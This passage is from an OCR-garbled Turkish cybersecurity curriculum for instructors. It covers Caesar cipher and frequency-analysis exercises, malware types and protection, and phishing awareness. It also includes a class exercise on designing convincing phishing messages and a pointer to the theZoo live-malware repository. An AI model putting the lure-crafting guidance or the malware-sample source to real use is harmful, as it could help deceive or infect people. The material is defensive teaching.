yapilan sifreleme gizlilik saglamaz. Gizlilik yerine bir baska onemli 6zellik saglanmis olur:

Ayc¢a’nin kimligi bu yolla dogrulanabilir.

Hatirlayalim, asimetrik anahtarli sifrelemede mesaj bir kisiye ait anahtarlardan biriyle
sifrelendiyse digeriyle ¢Ozlilmelidir. Bu Ornekte mesaj Ayca’nin agik anahtariyla
coziilebildigine gore, sifreleme Ayga’nin gizli anahtariyla yapilmis olmalidir. Burak sifreyi
cozdiigiinde bunu anlar ve mesajin sadece Ayca’nin gizli anahtarmi bilen kisi (yani Ayga)
tarafindan sifrelenmis olabilecegi sonucunu ¢ikarir. Bu sonug, mesaji gonderenin Ayca

oldugundan emin olunmasi anlamina gelir.

Iste giiniimiizde bir¢ok sistemde kullanilan sayisal

Elektronik ya da sayisal imza,
REEVEVER S ENE VR SIS imza, yukarida agiklanan mantiga dayalidir. Sayisal
dogrulamak amaciyla kullanilan
elektronik bir veridir.

imza, bir mesajin “Hash” adi verilen Ozetinin

gondericinin gizli anahtartyla sifrelenmesi yoluyla
Elektronik imzanin atilabilmesi

icin kisiye ait bir Nitelikli olusturulur ve alict tarafindan gondericinin agik
DGOSR TSR =S anahtart kullanilarak dogrulanabilir.

olmas: gerekir.

2. UYGULA

Uygula boliimiinde egitmen i¢in farkli uygulama ornekleri sunulmustur. Egitmen zaman

-----

iceriginde belirtilen mantiksal yoldan ve sifreleme metodolojisinden hareket ederek

degiskenleri degistirip 6rnekleri kendisi ¢ogaltarak dgrencilerine yaptirabilir.

2.1. SEZAR SIFRELEME UYGULAMASI

Onerilen siire: 20 dakika
Bu etkinlikte her 6grenci bireysel olarak Sezar algoritmasiyla sifreleme yapacaktir.

1. Asama: Her 6grenci, egitmenin adini ve soyadini k = 5 degerini kullanarak sifreler ve daha

sonra sifreyi ¢ozer.

2. Asama: Egitmen, her 6grencinin kendi adin1 ve soyadin1 kendi sececegi bir k degerini

kullanarak sifrelemesini ister.
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3. Asama: Her 6grencinin olusturdugu sifreli metin sirayla incelenerek kullanilan k degeri diger

ogrenciler tarafindan tahmin edilmeye caligilir.

2.2. FREKANS ANALIZI UYGULAMASI

Onerilen siire: 20 dakika

Egitmen bir frekans analizi 6rnegi olarak dgrencilerden Istiklal Mars1’nin birinci kitasinda her
harften kacar tane gectigini sayarak belirlemelerini ister. Bu etkinlik i¢in 6grencilerin kagit

kalem kullanmasi gereklidir.

Bu uygulama egitmenin segece8i baska ciimleler iizerinden tekrar edilebilir. Bu sayede
ogrenciler frekans analizi yontemini farkli uzunluk ve yapidaki climleler iizerinde uygulama

sansina sahip olurlar.

3. TASARLA VE URET

3.1. SEZAR SIFRELEME VE SIFRE KIRMA YARISMASI

Onerilen siire: 40 dakika
Egitmen siiftaki 6grenci sayisini dikkate alarak 6grencileri 2 veya 3 kisilik gruplara ayirir.

1. Asama (10 dk): Her grup en fazla 6 kelimeden olusan bir Tiirk¢e climle seger ve bu climleyi
kagit tizerinde veya Not Defteri, Word gibi bir uygulama iginde Sezar sifresi kullanarak elle
sifreler. Sifrelemede harf degisimi yapilirken saga mi sola m1 kaydirma yapilacagini ve kag

harf kaydirilacagimi gruptaki 6grenciler kendileri ortaklaga karar alarak belirler.

2. Asama (20 dk): 1. asamanin sonunda her grup hem diiz ciimlesini hem sifreli climlesini diger
gruplarin goremeyecegi sekilde egitmene iletir. Egitmen biitiin sifreli climleleri herkesin
gorebilecegi sekilde paylasir. Her grup 20 dakika siire boyunca diger gruplarin sifreli
climlelerini ¢ozmeye c¢alisir. Sifre ¢ozmek icin farkli k degerleri denenerek anlamli sonug elde

edilip edilemedigine bakilabilir.

3. Asama (10 dk): 2. asamanin sonunda her grubun ¢ozebildigi ciimle sayis1 egitmen tarafindan
tespit edilir. En ¢ok climleyi ¢6zmiis olan grup yarismayi kazanir. Eger biitiin climleleri ¢6zen

birden fazla grup olursa, ilk bitiren grup kazanir.
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4. DEGERLENDIR

Onerilen siire: 20 dakika

Sezar sifreleme ve sifre kirma yarismasinin ardindan her bir gruba asagidaki sorular egitmen

tarafindan sorulabilir:

e Grup calismasi sirasinda sizi en ¢ok zorlayan durum ne oldu? Bu durumu ¢6zebildiniz
mi? Nasil ¢ozdiiniiz?
e Sifrelemenin 6nemine iligkin neler sdyleyebilirsiniz?
e Hayatimizda sifrelemenin O6nemli oldugunu disilindiigiiniiz kritik alanlar ve
uygulamalar akliniza geliyor mu?
Her gruptan olmasa bile 6grencilerden siireg i¢inde kendileri i¢in 6nemli veya ilging bulduklari

hususlar1 arkadaslarina aktarmalari istenir.

Tiim tartigsmalarin ardindan bu bdliimde 6grenilenlerin gelecekte kullanimina yonelik 6neriler

iizerine beyin firtinasi yapilabilir.

5. EK ETKINLIK: FREKANS ANALiZIi YAPAN PROGRAM
GELISTIRME

Onerilen siire: 60 dakika

Bu etkinlikte her 6grenci verilen bir metin i¢inde her harften kag¢ tane oldugunu sayan bir

program yazacaktir. Program herhangi bir programlama dilinde yazilabilir.
Girdi: Diiz metin (uzunlugu igin bir {ist sinir koyulabilir, drnegin 1000 karakter)
Cikt1: Alfabedeki harflerden her birinin girdi metninde ka¢ kez gectigini gosteren sayilar

Programin daha kolay yazilabilmesi i¢in, girdi metninin sadece biiylik harfler kullanilarak
yazildig1 ve harfler disindaki biitiin sembollerin (bosluk, noktalama vb.) girdiden ¢ikarildig:
varsayilabilir (1. durum). Ancak bu durumda, programi test etme asamasinda girdi verilirken
metnin biiyiik harf diginda bir sey igermemesine dikkat edilmesi gerekmektedir. Programlama
diizeyi daha yiiksek olan &grenciler, girdinin kiiciik harfler ve baska semboller de
icerebilecegini (2. durum) diisiinerek programi yazmayi deneyebilirler. Bir diger secenek,
ogrencilerin 6nce 1. durum igin ¢6ziim iiretmesi, bunu tamamlayan 6grencilerin 2. durumu

¢ozmeye gegmesi olabilir.
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4 N

EGITMENE NOT

Bu uygulamada girdi metni Ingilizce ise ASCII kodlarmna dayanan bir ¢oziim

gelistirmek daha kolay olabilir ¢iinkii ASCII tablosunda Ingilizcedeki harfler A’dan
Z’ye ardisiktir. Ama Tiirk¢e metin i¢in de farkl bir yaklasimla ¢6ziim gelistirilebilir.

. J

KAYNAKLAR

Beskirli, A., Ozdemir, D., & Beskirli, M. (2019). Sifreleme ydntemleri ve RSA algoritmasi

tizerine bir inceleme. Avrupa Bilim ve Teknoloji Dergisi, 284-291.
Katz, J., & Lindell, Y. (2020). Introduction to modern cryptography. CRC press.

Senay, S. C. (2022). Basit sifreleme teknikleri. Efe Akademi Yayinlari.

United States National Institute of Standards and Technology (NIST). (2001). Federal
Information Processing Standards Publication 197 - Announcing the Advanced Encryption
Standard (AES). https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.197.pdf




Boliim 5: Kotii Amaglt Yazilimlar

HAFTA 5. KOTU AMACLI YAZILIMLAR

ON BILGi
e Bilgi giivenliginin temel kavramlari
e Kali Linux kullanimi, temel komutlar ve araglar
e Parolalar

e Kriptografinin temelleri

AMAC

Bu boliimiin amaglar arasinda, 6grencilerin kotii amach yazilim (malware) kavrami, bu
yazilimlarin tiirleri ve zararlar1 hakkinda bilgi edinmelerini saglamak, 6grencilere kotii amacgh
yazilimlardan korunma farkindaligi kazandirmak ve bu dogrultuda uygulamalar yaptirmak
bulunmaktadir. Ogrenciler ayrica oltalama (phishing) saldirilarini ve sosyal medyanin giivenli

kullanimi1 konusunu 6greneceklerdir.

BOLUM KAZANIMLARI

Bu boliimii tamamlayan bir 6grenci,

e Kot amagh yazilimlarin tarihini 6zetler ve 6rnekler verir,

e Kotii amagli yazilimlarin tiirlerini ve zararlarini agiklar,

e Kotii amach yazilimlardan korunmak i¢in kullanilan teknikleri agiklar,
e Antiviriis yazilimi kullanir,

e Kotii amacgh yazilimlari temel statik analiz yontemleriyle analiz eder,

e Oltalama mesaj1 tasarlar ve tretir.
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KULLANILACAK MATERYAL VE ARACLAR

Bilgisayar, Kali Linux, Windows 8.1 veya 10, Microsoft Defender Antivirus, Microsoft Word,

internet baglantisi, kagit, kalem

HAFTANIN ISLENISI

Gozle Kotii amagh yazilimlarin tarihi, 6rnekler, tiirleri, zararlari
Antivirlis programi1 kullanimi

Oltalama kavrami ve ornekleri

Uygula Kotii amacgh yazilim tespiti i¢in temel statik analiz
Tasarla ve Oltalama mesaj1 tasarimi ve tiretimi
Uret

Degerlendir ~ Haftanin igeriginin degerlendirilmesi ve ¢alismanin devam ettirilmesine

yonelik oneriler

1. GOZLE: KOTU AMACLI YAZILIMLAR

Bu boliimde koétii amagh yazilim (malware) kavrami tanitilarak kotii amacli yazilimlarin tarihi,

carpict Ornekleri, tiirleri ve zararlar1 hakkinda bilgi verilir.

EGITMENE NOT

Kétii amacgh yazilim igin alternatif bir diger terim zararl yazilimdir. Kotlii amach
yazilim, terimin aslinin uzun hali olan “malicious software” i¢in daha yakin bir

ceviri oldugundan tercih edilmistir.

Viriis kavraminin kotii amagli yazilim anlaminda kullanimi teknik olmayan dilde
yaygindir, ancak viriis bir kotii amach yazilim tiiriidiir ve tiim kotli amagli yazilim
tiirleri icin bir ¢ati1 terim olarak kullanilmasi dogru degildir. Bununla birlikte,
Ogrenciler bu farki anlayana kadar (6zellikle Giris kismindaki soru-cevap
etkinliginde) bilgisayar viriisii terimi daha genel anlamda kotii amacli yazilim i¢in

kullanilabilir ve soru-cevabin hemen ardindan kotii amagl yazilimlarin farkl: tiirleri

tanitilabilir.
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1.1. GIRIS

Onerilen siire: 15 dakika

Egitmen Ogrencilerinin kotii amacgli yazilim ile ilgili tartismalarini saglar. Bunun igin
ogrencilerine ¢esitli sorular sorarak onlarin cevabimi alir ve ardindan diger boliimlerde koti

amagli yazilim kavrami ve tiirleri ile ilgili olarak detayl agiklamalarini yapar.

e Kotii amagli yazilim sizin i¢in ne ifade ediyor?
e Bilgisayarmiza, tabletinize veya telefonunuza hi¢ viriis bulastt mi1? Bulastiysa neler
oldu? Sorunu gidermek i¢in ne yaptiniz?
e Antivirlis yazilimi kullantyor musunuz? Sizce kullanilmali mi1? Neden?
e Cihazlarmiz1 viriis gibi kot amagh yazilimlardan korumak icin nelere dikkat
ediyorsunuz?
Egitmen bu sorulara ek olarak baska sorular da sorabilir. Gelen cevaplarla birlikte
ogrencilerden de yeni sorular ortaya ¢ikabilir. Bunlara benzer sorular ¢ergevesinde tartisma

yonetilerek dgrencilerin fikirlerini beyan etmesi saglanir.

1.2. KOTU AMACLI YAZILIMLARIN TARIHI VE CARPICI ORNEKLERI

Onerilen siire: 15 dakika

Kotii amagli yazilimlar (1970’lerdeki birka¢ deneysel calisma disinda) 1980’lerde ortaya
cikmaya baglamistir. Yaygin etki yapan ilk 6rneklerinden biri 1988 yilinda iiretilen ve kendini
ag lizerinden yayarak sistemleri ¢okerten Morris adli solucandir (Spafford, 1989). Bu solucani
iireten Robert Morris, kotii amagli yazilim gelistirdigi i¢in cezayla karsilagan ilk kisidir. Morris
solucani, Unix sistemlerindeki bazi programlarin zafiyetlerinden ve kullanicilarin zayif

parolalarindan faydalanmstir (Furnell & Spafford, 2019).

1990’lar ve 2000’ler boyunca Internet’in giderek yayginlasmasiyla kotii amagh yazilimlar da
yayginlagsmis ve etkilerini artirmiglardir. 2010°lara gelindiginde artik bu yazilimlar cogunlukla
iilkeler aras1 siber savasta kullanilmak iizere veya biiyiik su¢ orgiitleri tarafindan maddi kazang

elde etmek amaciyla gelistirilir hale gelmistir.

2017°de ortaya c¢ikan WannaCry adli fidye yazilimi (ransomware) yoluyla, Windows
sistemlerindeki bir zafiyeti kullanarak bilgisayardaki biitiin dosyalar1 kilitleyen ve erisilmez
hale getiren bir saldiri gergeklestirilmistir. Saldirganlar dosyalar1 tekrar erigilebilir hale
getirmek i¢in fidye talep etmistir. Oltalama (phishing) e-postalariyla yayilan WannaCry, yliz
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binlerce kullaniciy1 etkilemis ve ciddi maddi kayba yol agmustir (Chen & Bridges, 2017;
Ghafur ve digerleri, 2019). (Not: Oltalama dersin devaminda detayl olarak anlatilacaktir.)

K EGITMENE NOT \

Kotii amagh yazilim olaylar1 ¢ok fazla sayida ve ¢esitli oldugundan bu dokiimandaki

orneklerin kapsayici olmast miimkiin degildir. Yukaridaki orneklere ek olarak
egitmen kendi bilgi dagarcigina ve deneyimine dayanan bagka drnekler de vererek

dersi zenginlestirebilir.

Bu noktada egitmen Ogrencilere duyduklari veya karsilastiklart kotii amacl

yazilimlarin neler oldugu, bunlarin ne amagla kullanildigi, gelistirenlerin neleri

(ac;ladlfy gibi sorular sorarak 10 dakikalik bir tartisma yonetebilir. J

1.3. KOTU AMACLI YAZILIM TURLERI]

Onerilen siire: 20 dakika
Egitmen 6grencilere agsagidaki sorulari sorar ve sozlii olarak cevaplarini alir.

e Bildiginiz bir kotli amacl yazilim adi veya tiiri var midir?
e Kotii amach yazilimlar bulagtiklar: sistemde neler yapabilir?

e Kotl amach yazilimlarin kisilere, kuruluslara, topluma ve iilkeye zararlari nelerdir?
Bu tartismanin ardindan egitmen asagidaki agiklamalar1 yapar.

Kotii amagli yazilimlar ¢ok ¢esitlidir. Yaygin rastlanan kotii amacglhi yazilimlar ve bunlarin

zararlar1 asagida aciklanmaktadir.

Viriis: Kendisini bagka bir programa ekleyerek parazit gibi yasayan kotii amaclh yazilimlara
virlis denir. Virlisiin amaci hem kendisini baska programlara yaymak hem de bilgi ¢alma,
cihaza veya dosyalara zarar verme gibi hedefleri gerceklestirmektir. Viriislerin bazi genel

ozellikleri asagida verilmektedir:

e Viriis kendi basina ¢alisamaz, baska bir programa tutunarak caligsmasi gerekir.
e Viriis baglandig1 programin yetkilerine sahip olur.

e Viriisler kendilerini ¢ogaltirlar ve yeni programlar1 enfekte ederler.
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Solucan (worm): Solucanlar kendi baslarina ¢alisma ve hem sistem i¢inde hem de ag
iizerinden kendilerini yayma Ozelligine sahip programlardir. Solucanlar kendilerini

kopyalayarak ¢ogaltirlar ve gizlenmek i¢in masum goriiniimlii bir isimle sistemde calisirlar.

Truva ati (Trojan horse): Kullanicinin kandirilmasi sonucunda sisteme kullanici izniyle
yiiklenen ve faydali bir is yapiyormus gibi goriiniip gizlice zararli isler yapan program. Truva
at1 en yaygin kotii amacli yazilim tiirlerinden biridir ve yeterince dikkatli olmayan kullanicilar
cesitli vaatlere (virlis temizleme, bilgisayar1 hizlandirma vb.) aldanarak bu zararli yazilimlar

kendileri indirip yiikleyebilmektedir.

Casus yazilim (spyware): Bilgileri calarak baska bir yere gonderme amacli program. Yaygin
bir casus yazilim tiirii, kullanicinin bastig1 tuslar1 kaydederek biitlin yazdiklarini ele gegirebilen

keylogger adl1 yazilimlardir.

Reklam yazilm (adware): Kullaniciya reklam gostererek programi gelistiren kisiye maddi
kazan¢ saglamay1 amaglayan program. Bu programlar bilgisayar1 bos yere mesgul ederek

yavaglatir, bazen de pop-up pencere agarak kullaniciya rahatsizlik verirler.

Fidye yazihmi (ransomware): Kullanicinin dosyalarini sifreleyip kilitleyen ve agmak icin

fidye isteyen program. Istenen fidye 6denmezse program dosyalar1 yok edebilir.

En yaygin kotli amagli yazilim tiirleri yildan yila degisim gostermektedir. Truva atlar1 ve
reklam yazilimlar1 ¢ok yaygin olmakla birlikte, fidye yazilimlari son yillarda giderek daha sik

rastlanir hale gelmektedir.

Ozet olarak, koti amacgl yazilmlar asagidaki hedeflerden birini veya birkagini

gerceklestirmeye calisan zararl programlardir:

e Veriyi yok etme

e Sisteme zarar verme

e Bilgi calma ve baska yere gonderme

e Kaullanici dosyalarini sifreleyip fidye isteme

e Sistemi bot (zombi) haline getirme (Not: Bot ya da zombi sistemler, uzaktan ele
gecirilip kontrol edilebilen sistemlerdir.)

e Sisteme uzaktan erigim i¢in arka kap1 agma

Kotli amacgli yazilimlar tiirlerine ve hedeflerine gore farkli kaynaklardan cikabilmektedir.
Maddi kazang hedefleyen fidye yazilimi gibi yazilimlarin kaynagi cogunlukla sug¢ orgiitleri

iken, solucan ve casus yazilim gibi kendilerini gizleyerek yayilmaya ¢alisan ve sonrasinda bilgi
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toplama veya uzaktaki saldirganlara arka kapi1 agma gibi eylemleri kovalayan yazilimlar,

agirlikli olarak siber ordular ve istihbarat kuruluslari tarafindan kullanilmaktadir.

1.4. KOTU AMACLI YAZILIMLARDAN KORUNMA

Onerilen siire: 20 dakika

Egitmen 6grencilere “Bilgisayariniza kotli amacgl yazilim bulagsmamasi icin nelere dikkat

etmelisiniz” sorusunu yonelterek yanitlarini alir ve ardindan agiklamalarini yapar.

Koétli amach yazilimlardan korunmanin en etkili yolu, bilgisayar1 ve interneti kullanirken
tehlikelerden uzak durmaktir. Bunun icin dikkat edilmesi gereken birka¢ kural asagida

verilmistir.

e Internete baglanmadan 6nce giivenlik duvari (firewall) etkinlestirilmelidir.

e Siipheli web sayfalar1 ziyaret edilmemelidir.

e Truva at1 olabilecek siipheli yazilimlar (6rnegin bilgisayarinizda viriis bulundugu ve
izninizle temizlenecegi iddiasiyla yiikletilmeye c¢alisilan yazilimlar) bilgisayara
indirilmemeli ve yiikklenmemelidir.

e Web sayfalarindan otomatik olarak inen dosyalar agilmamalidir.

e E-posta ekinde gelen dosyalar agilirken dikkatli olunmalidir. Calistirilabilir (6rnegin
.exe uzantili) dosyalar agilmamali, diger dosyalar ise ancak mesajin giivenilirligi
dogrulandiktan sonra agilmalidir.

e USB flash bellekler bagkasina ait bilgisayarlara miimkiin oldugunca takilmamali,
bagkasina ait veya sahibi belirsiz flash bellekler kendi bilgisayarimiza takilmamalidir.

e Isletim sistemi ve diger yazilimlar giincel tutulmali, gerekli yamalar yiiklenmelidir.

e Internetten indirilen veya flash bellekten alinan dosyalar antiviriis yazilimiyla

taranmalidir.

Koéti amagl yazilimlarla miicadelede onleme, tespit ve temizleme gibi ¢esitli eylemlerin
birlikte kullanilmas1 gerekmektedir. Onleme i¢in yukarida sayilan temel kurallar 6nemli 6l¢iide
fayda saglayacaktir. Sistemlere kotli amagli yazilimlarin genellikle internet ilizerinden gelen
zararll ag trafigi yoluyla bulagsmasi nedeniyle, zararli trafigi filtreleyen giivenlik duvari

(firewall) araglar biiyiik 6neme sahiptir.

Giivenlik duvari, internetten gelen paketleri belirli kurallara gore filtreleyen yazilimlar veya
cihazlardir. Filtreleme, belirlenen kurallara gore zararsiz kabul edilen paketlerin gecisine izin

verme, zararli veya siipheli goriilen paketlerin gegisini engelleme seklinde yapilir. Giivenlik
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duvari, aga baglanan 6zel bir cihaz olabildigi gibi, bilgisayara yiiklenen bir yazilim da olabilir.
Ust diizey giivenlik saglamak i¢in ag giivenlik duvari, isletim sistemi giivenlik duvari, web

uygulama giivenlik duvari gibi farkli cihaz ve yazilimlarin birlikte kullanilmasi 6nerilmektedir.

Kotlih amagh  yazilimlart  Onlemekte yetersiz kalindiginda bu yazilimlar sistemlere
bulagmaktadir. Bu noktadan sonra, sisteme bulasan kotli amagli yazilimin bulunmasi ve
tanimlanmasi, bir baska deyisle tespit edilmesi gerekecektir. Kotii amagh yazilimlari tespit
eden programlarin genel adi anmtiviriis yazilimidir. Antivirlis yazilimlari, kotii amach
yazilimlara 6zgii bazi kod parcalari ve/veya davranis Oriintiileri {izerinden tespit yaparlar.
Ornegin, bir viriise veya viriis ailesine 6zgii kod parcasmna viriis imzas1 denir. Antiviriis
yazilimlari, bilinen viriis imzalarini veritabanlarinda bulundururlar ve taradiklari programin bu
imzalardan herhangi birini barindirip barindirmadigini kontrol ederler. Eger taranan programda

bu imzalardan biri bulunursa o programin enfekte oldugu sonucuna varilir.

Goriildugii gibi, bir antivirlis programinin viriisii tespit edebilmesi i¢in o virlisiin imzasini
bilmesi gerekir. Dolayistyla, her antiviriis programi sik sik giincelleme yaparak yeni imzalari
veritabanina katmalidir. Giincelleme yapilmazsa antiviriis programi yeni virlisleri tantyamaz

hale gelecektir.

Kotli amacglh yazilim tespiti i¢cin imza eslestirmenin Otesinde daha karmasik yontemler de

kullanilmaktadir. K6tli amagli yazilim analiz teknikleri temelde ikiye ayrilir.

Statik analiz: Program c¢alistirilmadan, kod incelenerek yapilan analizdir. Genellikle kaynak
kod, bazi durumlarda derlenmis kod (nesne kodu — object code) lizerinden yapilir. Program

kodunda belli oriintiiler ve zararli kod parcalari aranir.

Dinamik analiz: Program ¢alistirtlip davranigi incelenerek yapilan analizdir. Programin neler
yapti81, hangi dosyalara eristigi, sistemde ne gibi degisiklikler yaptig1 vb. analiz edilerek zararl
yazilim olup olmadig1 anlasilmaya calisilir.

Statik ve dinamik analiz ¢ok karmasik siiregler oldugundan ¢ogunlukla gelismis profesyonel

araglar kullanilarak gerceklestirilir (Aboaoja ve digerleri, 2022).

Kotii amacli yazilim tespit edildikten sonra gereken temizleme ve sistemi tekrar giivenli hale

getirme islemleri yapilmalidir.



Bolim 5: Kotii Amagh Yazilimlar

1.5. ANTiIVIRUS YAZILIMI KULLANIM ORNEGI

Onerilen siire: 15 dakika

Bu boliimde egitmen tarafindan dgrencilere bir antiviriis yazilimi (6rn. Microsoft Defender
Antivirus) tanitilarak bazi temel islemler gosterilecektir. Bu bdliim i¢in 20 dakika siire yeterli

olacaktir.
Egitmenin ekran paylasimi yoluyla 6grencilere agsagidaki islemlerin yapiligin1 gdsterebilir:

e Sistem tarama
o Hizli tarama
o Ozel tarama (dosya veya konum segerek)
e Korumay giincelleme
e Viriis ve tehdit korumasi ayarlarini degistirme
e Denetimli klasor erisimini yonetme

e Karantina yonetimi

/ EGITMENE NOT \

Linux i¢in antivirlis yazilimlart mevcut olsa da kullanimi pek yaygin degildir. Bu
nedenle bu boliimde gosterimin Windows tlizerinden yapilmasi oOnerilmektedir.

Windows sistemlerinde yer alan Microsoft Defender Antivirus bu etkinlik igin

\kullanllabilir. J

2. UYGULA

2.1. KOTU AMACLI YAZILIM TESPITI ICIN TEMEL STATIK ANALIZ

Onerilen siire: 40 dakika

Bu etkinlikte 6grenciler hash degeri karsilastirmasi ve metin i¢inde arama yoluyla temel statik

analiz yapmay1 6greneceklerdir.

Etkinlikte izlenecek adimlar i¢in Ek 1’de sunulan dokiiman takip edilebilir.
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3. GOZLE: OLTALAMA VE SOSYAL MUHENDISLIK

Egitmen oOgrencilerinin oltalama (phishing) hakkinda tartigmalarin1 saglar. Bunun igin
ogrencilerine ¢esitli sorular sorarak onlarin cevabini alir ve ardindan oltalama ile ilgili detaylh
aciklamalarin1 Ornekler kullanarak yapar. Bu boliim i¢in 20 dakikalik bir zaman ayirmak

yeterlidir.

e Size glivenilir gelmeyen e-postalar veya mesajlar aliyor musunuz?

e Sizce bir e-postanin veya mesajin stipheli olmasi ne demektir? Nasil mesajlardan
stiphelenirsiniz?

e Oltalama saldirisi diye bir sey duydunuz mu? Ornek verebilir misiniz?

e Sosyal miithendislik kavrami size ne ifade ediyor?

Egitmen bu sorulara ek olarak baska sorular da sorabilir. Gelen cevaplarla birlikte
ogrencilerden de yeni sorular ortaya ¢ikabilir. Bunlara benzer sorular ¢ergevesinde tartisma

yonetilerek dgrencilerin fikirlerini beyan etmesi saglanir.
Tartismadan sonra asagidaki temel bilgiler ve 6rnekler 6grencilere aciklanir.

Sosyal miihendislik, insanlar1 kandirarak saldirganin istedigi yonde hareket etmelerini
saglamay1 amaclayan yontemlere denir. En yaygin amaclardan biri hedefteki kiginin parola gibi
gizli bilgilerini elde etmektir. Bir bagka yaygin hedef, insanlar1 yanls bilgilerle korkutarak
veya bos vaatlerle kandirarak saldirganlara para vermelerini saglamak, yani dolandiricilik
yapmaktir. Glintimiizde sosyal miihendislik elektronik posta, SMS, sosyal medya mesajlari,

hatta telefon aramalar1 kullanilarak yapilabilmektedir.

Oltalama, sahte mesajlar yoluyla gerceklestirilen yaygin bir sosyal miihendislik saldirist
tirtidiir. Oltalamada e-posta, SMS veya sosyal medya mesajlar1 kullanilabilir. Oltalama
mesajinin igine yerlestirilen linke tiklayan bir kullanici, genellikle kullanici ad1 ve parola gibi
gizli bilgilerini girmesi istenen bir sayfaya yonlendirilir. Kullanicinin bu sayfada girdigi

bilgiler saldirganin eline ge¢mis olur.

Oltalama saldirilarinin bazi 6rneklerini incelemek i¢in University of California, Berkeley

tarafindan asagidaki adreste paylasilan baglantilar incelenebilir.

https://security.berkeley.edu/education-awareness/phishing/phishing-examples-archive

Giliniimiizde bu tiir saldirilar i¢in sosyal medya yaygin bi¢cimde kullanilmaktadir. Sosyal

medyay1 giivenli kullanabilmek i¢in dikkat edilmesi gereken bazi 6nemli hususlar vardir:


https://security.berkeley.edu/education-awareness/phishing/phishing-examples-archive

Boliim 5: Kotii Amaghi Yazilimlar

e Her zaman giiclii parolalar kullanilmalidir.

e Bilgilerinizi ve yaptiklarinizi kimlerin gorebilecegini belirleyen mahremiyet (privacy)
ayarlar1 6grenilmeli ve dikkatlice kullanilmalidir.

e Suc olusturan, kirict s6z igeren veya sizi yanlis tanitan paylagimlar yapilmamalidir.

e Sahte hesaplara kars1 dikkatli olunmalidir.

e Mesajdaki linke tiklamak veya sosyal miihendislik girisimi olabilecek mesajlar

yaymak gibi hareketlerden kacinilmalidir.

Egitmen bunlar1 6grencilere aktardiktan sonra sosyal medyanin giivenli kullaniminda ise

yarayabilecek baska kurallarin ve tavsiyelerin neler olabilecegiyle ilgili tartigma yiiriitiiliir.

4. TASARLA VE URET

Onerilen siire: 40 dakika

Bu boliimde 6grenciler iki kisilik gruplar halinde bir oltalama mesaj1 tasarlayacaklardir. Bu
etkinligin basinda, Ders Uygulama Kilavuzu icinde yer alan etik ile ilgili hususlarin

hatirlatilmas1 6nemlidir.

1. Asama (20 dk): Her grup kullanacagi mesa;j tiirlinii kendisi seger. Mesaj tiirii e-posta, SMS
veya herhangi bir sosyal medya paylagimi olabilir. Grup bu secimden sonra mesajin icerigini
ve goriiniimiinii bir Word dosyasi icinde olusturacaktir. Ogrenciler calismaya baslamadan dnce
egitmen, oltalama saldirilarinin hedefinin mesaji alan kisiyi kandirarak linke tiklamasini ve
baska bir sayfada bilgilerini girmesini saglamak oldugunu hatirlatir. Ogrencilerin mesajlarini

bu hedefi gozeterek tasarlamasi dnerilir.

2. Asama (20 dk): Gruplar 1. asamanin sonunda mesajlarin1 paylasacaklardir. Bu agsamada bir
degerlendirme yapilarak en basarili mesajlar belirlenecektir. Mesajin basarisi, kurbanin
mesajdaki linke gitme ihtimali ile 6lgiilebilir. Oznel bir 6l¢iit olan bu ihtimali degerlendirme
yontemi olarak, her grubun kendi mesaj1 digindaki biitiin mesajlar1 incelemesi ve en inandirici
buldugu iic mesaji segerek 1-2-3 seklinde oy vermesi istenebilir. Biitlin gruplar bu
degerlendirmeyi tamamladiklarinda oylama sonuglarina gore en basarili bulunan mesajlar

incelenerek neden basarili olduklar tartigilir.
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5. DEGERLENDIR

Onerilen siire: 15 dakika
Tasarla ve iiret boliimiiniin ardindan asagidaki sorular rehber egitmen tarafindan sorulabilir:

e Urettiginiz oltalama mesajin1 daha inandiric1 hale getirmek i¢in neler yapabilirsiniz?

e En basarili oltalama mesaji, alicilarinin ne kadarlik bir oranini (yiizde kagini)

kandirabilir?

Ogrencilerden siireg icinde kendileri i¢in 6nemli veya ilging bulduklari hususlar1 arkadaslarina

aktarmalar istenir.

Tiim tartismalarin ardindan bu bdliimde 6grenilenlerin gelecekte kullanimina yonelik oneriler
iizerine beyin firtinas1 yapilabilir. Egitmen asagidaki 6rnek soru ve benzeri sorular iizerinden

tartismay1 yonlendirip genisletebilir:

¢ Bir mesajin sosyal miihendislik veya oltalama olup olmadigini anlayan bir program

yazmak isteseniz nasil bir yaklagim izlersiniz?

6. EK ETKINLIK

6.1. SOSYAL MUHENDISLIK TESPITI ICIN UYGULAMA TASARIMI

Onerilen siire: 45 dakika

Bu boliimde ogrenciler ikili gruplar halinde, incelenen bir e-postanin oltalama mesaji olup
olmadigini anlayan bir program tasarlayacaklardir. Yontemlerini koda dokmeden, algoritma
adimlar1 veya akis semast seklinde ifade edebilirler. Bu etkinlikte 6grenciler internetten
arastirma yapabilir ve asagidaki sorular1 cevaplamaya calisarak tasarimlari i¢in kilavuz olarak

kullanabilirler.

e Oltalama e-postalarini diger e-postalardan ayiran 6zellikler neler olabilir? Uzunluk,
icerik, gonderen adres vb. yonlerden normal e-postalarla ne gibi farklar gosterebilir?
e Oltalama e-postalarinin diger e-postalardan bazi farklarini belirlersek bunlar1 program
icinde nasil kullanabiliriz?
o Ornegin, oltalama mesajlarinda sik gegen bazi kelimeleri belirledigimizi

varsayalim. Bunlar1 programimizda nasil kullanabiliriz?
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o Oltalama e-postasi gonderdigi bilinen bazi e-posta edreslerini elde ettigimizi

varsayalim. Bunlari programimizda nasil kullanabiliriz?

Etkinligin son 15 dakikasinda gruplar tasarladiklar1 algoritmanin adimlarini veya akis semasini
egitmene sunarlar. Sunumlar esnasinda veya sonrasinda egitmen veya diger gruplar geri

bildirim yaparak tartismaya katki saglayabilirler.
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Ek 1. Kotii Amacgh Yazihm Tespiti icin Temel Statik Analiz
Bu boliimde temel statik analiz i¢in asagidaki adimlar takip edilecektir.

1. Kot amagh yazilim Ornekleri elde etmek igin theZoo adli github projesinden
faydalanilacaktir. theZoo’nun web sayfasindaki (https://github.com/ytisf/theZoo) uyari
Tiirkce’ye cevrilerek asagida paylasiimistir. Ogrencilerin bu uyarryr dikkate alarak

hareket etmeleri ¢cok 6nemlidir.

UYARI: “theZoo'nun amaci, kétii amacgli yazilimlarin incelenmesine izin vermek ve
kotli amaglt yazilim analiziyle ilgilenen kisilerin canli kot amacgli yazilimlara
erismelerine, bunlarin ¢alisma bigimlerini analiz etmelerine ve hatta belki de bilgili
insanlarin belirli kotii amagli yazilimlar1 kendi ortamlarinda engellemelerine olanak

tanimaktir.

Liitfen bunlarin canh ve tehlikeli kotii amach yazilimlar oldugunu unutmayin!
